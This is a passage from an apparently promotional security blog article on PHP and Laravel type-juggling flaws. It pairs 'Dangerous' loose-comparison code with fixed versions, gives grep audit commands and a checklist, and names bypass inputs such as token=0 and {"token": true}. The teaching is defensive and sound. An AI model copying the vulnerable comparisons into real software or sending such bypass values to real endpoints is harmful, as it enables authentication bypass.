&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Correct — strict, type-safe, timing-attack resistant&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;hash_equals()&lt;/code&gt; does two important things.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Constant-time comparison&lt;/strong&gt; — it always takes the same amount of time regardless of how many characters match. This prevents timing attacks where an attacker measures response time to determine how many characters of a token they guessed correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Type enforcement&lt;/strong&gt; — if either argument is not a string &lt;code&gt;hash_equals()&lt;/code&gt; returns false, preventing boolean and integer bypass attacks.&lt;/p&gt;

&lt;p&gt;Always use &lt;code&gt;hash_equals()&lt;/code&gt; for token and hash comparisons. Always use &lt;code&gt;password_verify()&lt;/code&gt; for password comparisons. Never use &lt;code&gt;==&lt;/code&gt; or &lt;code&gt;===&lt;/code&gt; directly for these comparisons.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Safe Authentication Pattern
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Passwords:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;PDO&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'
        SELECT password_hash FROM users WHERE username = ?
    '&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// Call password_verify anyway to prevent timing-based&lt;/span&gt;
        &lt;span class="c1"&gt;// username enumeration — takes the same time as a real check&lt;/span&gt;
        &lt;span class="nb"&gt;password_verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'$2y$10$invaliddummyhashfortiming000000000000000000000000000000'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;password_verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'password_hash'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tokens and API keys:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;verifyToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;mixed&lt;/span&gt; &lt;span class="nv"&gt;$suppliedToken&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suppliedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$suppliedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$suppliedToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Role checks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Wrong — loose comparison&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Correct — strict comparison always&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Type Juggling in Laravel
&lt;/h2&gt;

&lt;p&gt;Laravel's default authentication system uses &lt;code&gt;password_verify()&lt;/code&gt; internally — the Auth facade and Eloquent-based authentication are not vulnerable to type juggling in password comparison.&lt;/p&gt;

&lt;p&gt;But type juggling appears in custom Laravel code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Custom token validation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// vulnerable to 0/true bypass&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;api_token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Custom middleware:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-API-Key'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app.api_key'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// vulnerable&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-API-Key'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'app.api_key'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;JSON API validation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — boolean true bypasses this&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nv"&gt;$token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'token'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;hash_equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$storedToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;in_array()&lt;/code&gt; in Laravel:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'editor'&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// type juggling bypass possible&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'editor'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// strict comparison&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Auditing Your Codebase
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find loose comparisons in security-sensitive contexts&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;" == "&lt;/span&gt; app/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"token&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;hash&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;key&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;auth&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;role&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;admin"&lt;/span&gt;

&lt;span class="c"&gt;# Find in_array without strict mode&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"in_array("&lt;/span&gt; app/ | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;", true)"&lt;/span&gt;

&lt;span class="c"&gt;# Find switch statements with mixed-type cases&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"case 0&lt;/span&gt;&lt;span class="se"&gt;\b\|&lt;/span&gt;&lt;span class="s2"&gt;case 1&lt;/span&gt;&lt;span class="se"&gt;\b\|&lt;/span&gt;&lt;span class="s2"&gt;case true&lt;/span&gt;&lt;span class="se"&gt;\b\|&lt;/span&gt;&lt;span class="s2"&gt;case false&lt;/span&gt;&lt;span class="se"&gt;\b&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; app/

&lt;span class="c"&gt;# Find JSON handling followed by comparison&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"json_decode&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;-&amp;gt;json("&lt;/span&gt; app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not every loose comparison is exploitable — context matters. But every result in an authentication or authorization context deserves careful review.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Type Juggling Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never use &lt;code&gt;==&lt;/code&gt; to compare tokens, passwords, hashes, roles, or permission values&lt;/li&gt;
&lt;li&gt;Always use &lt;code&gt;===&lt;/code&gt; for equality checks where type matters&lt;/li&gt;
&lt;li&gt;Always pass &lt;code&gt;true&lt;/code&gt; as the third argument to &lt;code&gt;in_array()&lt;/code&gt; in security contexts&lt;/li&gt;
&lt;li&gt;Always use &lt;code&gt;password_verify()&lt;/code&gt; for password comparison&lt;/li&gt;
&lt;li&gt;Always use &lt;code&gt;hash_equals()&lt;/code&gt; for token and hash comparison&lt;/li&gt;
&lt;li&gt;Validate JSON input types with &lt;code&gt;is_string()&lt;/code&gt; or &lt;code&gt;is_int()&lt;/code&gt; before any comparison&lt;/li&gt;
&lt;li&gt;Never compare authentication values against &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, or &lt;code&gt;false&lt;/code&gt; using &lt;code&gt;==&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Test your authentication code on both PHP 7 and PHP 8 if your hosting environment may run either&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Trust Laravel's built-in Auth system for password comparison&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;hash_equals()&lt;/code&gt; for any custom token or API key comparison&lt;/li&gt;
&lt;li&gt;Use strict &lt;code&gt;in_array()&lt;/code&gt; with &lt;code&gt;true&lt;/code&gt; as the third argument&lt;/li&gt;
&lt;li&gt;Validate JSON request types before comparison — &lt;code&gt;$request-&amp;gt;json('token')&lt;/code&gt; returns mixed&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;===&lt;/code&gt; not &lt;code&gt;==&lt;/code&gt; in all custom middleware authorization checks&lt;/li&gt;
&lt;li&gt;Cast types explicitly before comparison when working with database values&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Where Kriosa Fits
&lt;/h2&gt;

&lt;p&gt;Type juggling vulnerabilities are exploited through authentication parameters — tokens, API keys, role values — that carry unexpected types or magic values designed to trigger loose comparison bypasses.&lt;/p&gt;

&lt;p&gt;A request that sends &lt;code&gt;token=0&lt;/code&gt; or &lt;code&gt;{"token": true}&lt;/code&gt; where a string token is expected is behaviorally unusual. Systematic probing of authentication endpoints with numeric values, boolean values, and zero-like strings is a behavioral pattern that differs from legitimate user authentication.&lt;/p&gt;

&lt;p&gt;Kriosa monitors incoming requests for these behavioral signals — unusual type values in authentication parameters, systematic testing of token endpoints with non-string values, and request patterns that differ from normal application usage. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.&lt;/p&gt;

&lt;p&gt;Prevention through &lt;code&gt;===&lt;/code&gt;, &lt;code&gt;hash_equals()&lt;/code&gt;, and type validation stops the bypass at the application layer. Detection through behavioral monitoring tells you when someone is probing for loose comparisons to exploit.&lt;/p&gt;

&lt;p&gt;In Prooflify all token comparisons use &lt;code&gt;hash_equals()&lt;/code&gt;. In Belle-Full all role checks use strict comparison. Neither application uses &lt;code&gt;==&lt;/code&gt; in authentication or authorization flows.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
Install it: &lt;code&gt;composer require kriosa-ai/kriosa-php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Documentation : &lt;a href="https://kriosa.com/documentation.php" rel="noopener noreferrer"&gt;kriosa Docs&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=php-logs-sql-injection-attack-6a5fa71fd80b8" rel="noopener noreferrer"&gt;Article 1&lt;/a&gt;: What your PHP logs actually look like during a SQL injection attack&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=url-encoding-breaks-php-security-checks" rel="noopener noreferrer"&gt;Article 2&lt;/a&gt;: Why URL encoding can break PHP security checks&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=decode-bomb-url-decoding-vulnerability" rel="noopener noreferrer"&gt;Article 3&lt;/a&gt;: The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=parameterized-queries-sql-injection-prevention" rel="noopener noreferrer"&gt;Article 4&lt;/a&gt;: Parameterized queries — the only real fix for SQL injection&lt;/li&gt;
&lt;li&gt;Article 5: XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/li&gt;
&lt;li&gt;Article 6: How attackers enumerate your Laravel app before exploiting it&lt;/li&gt;
&lt;li&gt;Article 7: File upload security in PHP and Laravel&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=path-traversal-php-directory-escape" rel="noopener noreferrer"&gt;Article 8&lt;/a&gt;: Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=command-injection-php-exec-attack-surface" rel="noopener noreferrer"&gt;Article 9&lt;/a&gt;: Command injection in PHP — when &lt;code&gt;exec()&lt;/code&gt; becomes an attack surface&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kriosa.com/post.php?slug=broken-access-control-laravel" rel="noopener noreferrer"&gt;Article 10&lt;/a&gt;: Broken access control in Laravel — why being logged in is not enough&lt;/li&gt;
&lt;li&gt;
